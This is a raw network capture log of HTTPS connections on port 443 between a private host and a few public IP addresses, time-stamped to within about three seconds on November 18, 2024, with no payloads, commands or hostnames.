Nov 18, 2024 04:41:14.126260996 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.126271009 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.126820087 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.126825094 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.204102039 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.204193115 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.204255104 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.204515934 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.204529047 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.204544067 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.204550028 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.207063913 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.207307100 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.207382917 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.208323956 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.208364010 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.208369970 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.208386898 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.208401918 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.208410978 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.208470106 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.208802938 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.208832979 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.210972071 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.210994005 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.211054087 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.211288929 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.211303949 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.221618891 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.221813917 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.221915007 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.221915960 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.221954107 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.221976042 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.224222898 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.224256992 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.224323034 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.224487066 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.224507093 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.238797903 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.238854885 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.238899946 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.239382029 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.239396095 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.239411116 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.239417076 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.245585918 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.245623112 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.245682955 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.246263027 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.246285915 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.253144979 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:14.253185987 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:14.253247976 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:14.253823042 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:14.253843069 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:14.302687883 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.302759886 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.302820921 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.302994967 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.303014040 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.303028107 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.303041935 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.306004047 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.306019068 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.306189060 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.306318998 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.306330919 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.935827017 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.936513901 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.936556101 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.937418938 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.937427998 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.941127062 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.942270041 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.942375898 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.943046093 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.943063021 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.951586962 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.952332973 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.952347040 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.953011036 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.953016996 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.965776920 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.967339039 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.967350006 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:14.967531919 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:14.967538118 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.055102110 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.068728924 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.068744898 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.068886042 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.069216967 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.069222927 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.069329023 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.069427967 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.069610119 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.069633007 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.069655895 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.069664001 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.071388006 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.071523905 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.072130919 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.072182894 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.072182894 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.072202921 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.072221041 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.072232962 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.072240114 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.072455883 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.072788000 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.072801113 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.074115992 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.074153900 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.074223995 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.074312925 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.074323893 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.080085993 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.080343962 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.080410004 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.080516100 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.080527067 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.080537081 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.080542088 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.083333969 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.083352089 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.083451033 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.083640099 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.083652973 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.095973015 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.096221924 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.096337080 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.096544027 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.096544027 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.096558094 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.096569061 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.099036932 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.099056005 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.099132061 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.099231005 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.099240065 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.195946932 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.196108103 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.196297884 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.265613079 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.265635967 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.265831947 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.265840054 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.274610043 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.274691105 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.274832010 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.276777029 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.276815891 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.366076946 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:15.366211891 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.403049946 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.403090000 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:15.403507948 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:15.455945015 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.738950014 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.739151955 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.739166975 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:15.739361048 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.787378073 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:15.798600912 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.815433025 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.828778028 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.830034018 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.846684933 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.862175941 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.878103971 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.887919903 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.909400940 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.909410000 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.913053036 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.913059950 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.913383007 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.913388014 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.916883945 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.916889906 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.924365044 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.924376965 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.925735950 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.925741911 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.948966980 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.948976994 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.949392080 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:15.949398041 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:15.987751007 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:15.988306046 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.988331079 CET	443	49726	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:15.988356113 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:15.988384008 CET	49726	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:16.009732962 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.011706114 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.011725903 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.012154102 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.012160063 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.040225029 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.040307045 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.040422916 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.041557074 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.041557074 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.041582108 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.041594028 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.041686058 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.041769028 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.041819096 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.042682886 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.042682886 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.042690039 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.042697906 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.046571016 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.046613932 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.046686888 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.048906088 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.048943996 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.049007893 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.051078081 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.051100969 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.051192045 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.051208973 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.058156013 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.058317900 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.058373928 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.058419943 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.058439970 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.058459044 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.058465004 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.060863018 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.060899973 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.061019897 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.061124086 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.061136961 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.076829910 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.076934099 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.076989889 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.078316927 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.078316927 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.078346014 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.078361988 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.080270052 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.080321074 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.080382109 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.080507994 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.080524921 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.205102921 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.205276012 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.205347061 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.207737923 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.207758904 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.207791090 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.207798004 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.209983110 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.210036993 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.210128069 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.210367918 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.210388899 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.790759087 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.791655064 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.795169115 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.808820963 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.836935043 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.836935043 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.836946011 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.856597900 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.889600992 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.889609098 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.890151978 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.890156984 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.890480042 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.890489101 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.891550064 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.891556025 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.891694069 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.891702890 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.892183065 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.892189026 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.892712116 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.892719984 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.893171072 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:16.893177032 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.946348906 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:16.986936092 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.014791012 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.014949083 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.015028954 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.016443014 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.016546965 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.016596079 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.017957926 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.018039942 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.018120050 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.020136118 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.020493984 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.020545959 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.039067030 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.039083958 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.039725065 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.039730072 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.039967060 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.039968014 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.039988995 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.040000916 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.040071011 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.040090084 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.040113926 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.040121078 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.083846092 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.083873987 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.083885908 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.083885908 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.083909035 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.083919048 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.083961964 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.083970070 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.086550951 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.086576939 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.086704969 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.086841106 CET	49741	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:17.086869001 CET	443	49741	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:17.091022015 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.091072083 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.091154099 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.124764919 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.124792099 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.130776882 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.130800009 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.130876064 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.131781101 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.131804943 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.152163982 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.152192116 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.152250051 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.156364918 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.156382084 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.156430006 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:17.164643049 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.164808035 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:17.164863110 CET	49737	443	192.168.2.6	13.107.246.45
